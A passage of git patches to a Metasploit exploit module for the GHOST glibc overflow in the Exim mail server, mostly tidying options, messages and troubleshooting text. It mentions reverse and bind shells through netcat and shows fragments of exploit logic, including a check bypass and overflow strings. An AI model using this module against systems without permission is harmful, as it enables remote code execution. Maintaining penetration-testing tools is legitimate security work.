------------------------------------------------------------------------ - The remote Exim server might be exploitable even if the Metasploit - client has no FCrDNS, but this module depends on Exim's sender_host_name - variable to be set in order to reliably control the state of the remote - heap. - ------------------------------------------------------------------------ - TROUBLESHOOTING - ------------------------------------------------------------------------ - "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option - was not specified. - ------------------------------------------------------------------------ - "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure: - the SENDER_HOST_ADDRESS option was specified, but not in IPv4 - dotted-decimal notation. - ------------------------------------------------------------------------ - "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or - "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the - SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP - client (Metasploit), as seen by the SMTP server (Exim). - ------------------------------------------------------------------------ - "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the - SMTP client (Metasploit) has no Forward-Confirmed reverse DNS. - ------------------------------------------------------------------------ - "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server - is either not vulnerable, or not exploitable (glibc versions older than - glibc-2.6 have no fd_nextsize member in their malloc_chunk structure). - ------------------------------------------------------------------------ - "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address - contains bad characters (NUL, CR, LF) and was therefore mangled during - the information leak; this exploit is able to reconstruct most of these - addresses, but not all (worst-case probability is ~1/85, but could be - further improved). - ------------------------------------------------------------------------ - "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote - Unix command was executed, but spawned a bind-shell or a reverse-shell - that failed to connect (maybe because of a firewall, or a NAT, etc). - ------------------------------------------------------------------------ - "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the - remote Unix command was executed, but failed to spawn the shell (maybe - because the setsid command doesn't exist, or awk isn't gawk, or netcat - doesn't support the -6 or -e option, or telnet doesn't support the -z - option, etc). - ------------------------------------------------------------------------ - Comments and questions are welcome! + and x86_64 GNU/Linux systems that run the Exim mail server. + + For additional information, please refer to the module's References + section. ), 'Author' => ['Qualys, Inc. '], 'License' => BSD_LICENSE, @@ -99,7 +28,9 @@ class Metasploit4 < Msf::Exploit::Remote ['US-CERT-VU', '967332'], ['OSVDB', '117579'], ['BID', '72325'], - ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'] + ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'], + ['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'], + ['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual) ], 'DisclosureDate' => 'Jan 27 2015', 'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim) From a2ba81f84f7f628e3550c3231357b3e17b0e3a08 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 19 Mar 2015 11:54:03 -0500 Subject: [PATCH 3/6] This should be true (required) --- modules/exploits/linux/smtp/exim_gethostbyname_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb index 0829b7cef1..35bb196db5 100644 --- a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -48,7 +48,7 @@ class Metasploit4 < Msf::Exploit::Remote register_options([ Opt::RPORT(25), - OptAddress.new('SENDER_HOST_ADDRESS', [false, + OptAddress.new('SENDER_HOST_ADDRESS', [true, 'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil]) ], self.class) From d8539ef91a505e66ec78e812656613e809122a1b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 19 Mar 2015 12:22:42 -0500 Subject: [PATCH 4/6] Change datastore option's description --- modules/exploits/linux/smtp/exim_gethostbyname_bof.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb index 35bb196db5..696b7517e6 100644 --- a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Remote ], self.class) register_advanced_options([ - OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil]) + OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code or the Reference section for details', nil]) ], self.class) end @@ -144,6 +144,11 @@ class Metasploit4 < Msf::Exploit::Remote # Linux MMAP_MIN_ADDR = 65536 + def fail_with(fail_subject, message) + message = "#{message}. For more info: http://r-7.co/1CAnMc0" + super(fail_subject, message) + end + def information_leak print_status("Trying information leak...") leaked_arch = nil From b55ffc9ff1dc2aefddb835bb16e351226fe3a3ce Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 01:44:10 -0500 Subject: [PATCH 5/6] Change option to FORCE_EXPLOIT --- modules/exploits/linux/smtp/exim_gethostbyname_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb index 696b7517e6..a9876e1555 100644 --- a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Remote ], self.class) register_advanced_options([ - OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code or the Reference section for details', nil]) + OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil]) ], self.class) end @@ -108,7 +108,7 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit - unless datastore['I_KNOW_WHAT_I_AM_DOING'] + unless datastore['FORCE_EXPLOIT'] print_status("Checking if target is vulnerable...") fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable print_good("Target is vulnerable.") @@ -586,7 +586,7 @@ class Metasploit4 < Msf::Exploit::Remote else # can't double-check sender_host_address here, so only for advanced users - fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['I_KNOW_WHAT_I_AM_DOING'] + fail_with("smtp_connect", "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT'] # worst-case scenario smtp_active_hostname = "A" * NS_MAXDNAME sender_host_name = "A" * NS_MAXDNAME From 1b67a06d35beaeb08a4170c3cf2d1b665a126f75 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 02:26:59 -0500 Subject: [PATCH 6/6] No banner var --- modules/exploits/linux/smtp/exim_gethostbyname_bof.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb index a9876e1555..96bf510528 100644 --- a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -550,7 +550,8 @@ class Metasploit4 < Msf::Exploit::Remote fail_with("smtp_connect", "sock is nil") if not sock @smtp_state = :recv - banner = smtp_recv(220) + # Receiving the banner (but we don't really need to check it) + smtp_recv(220) return if not exploiting sender_host_address = datastore['SENDER_HOST_ADDRESS']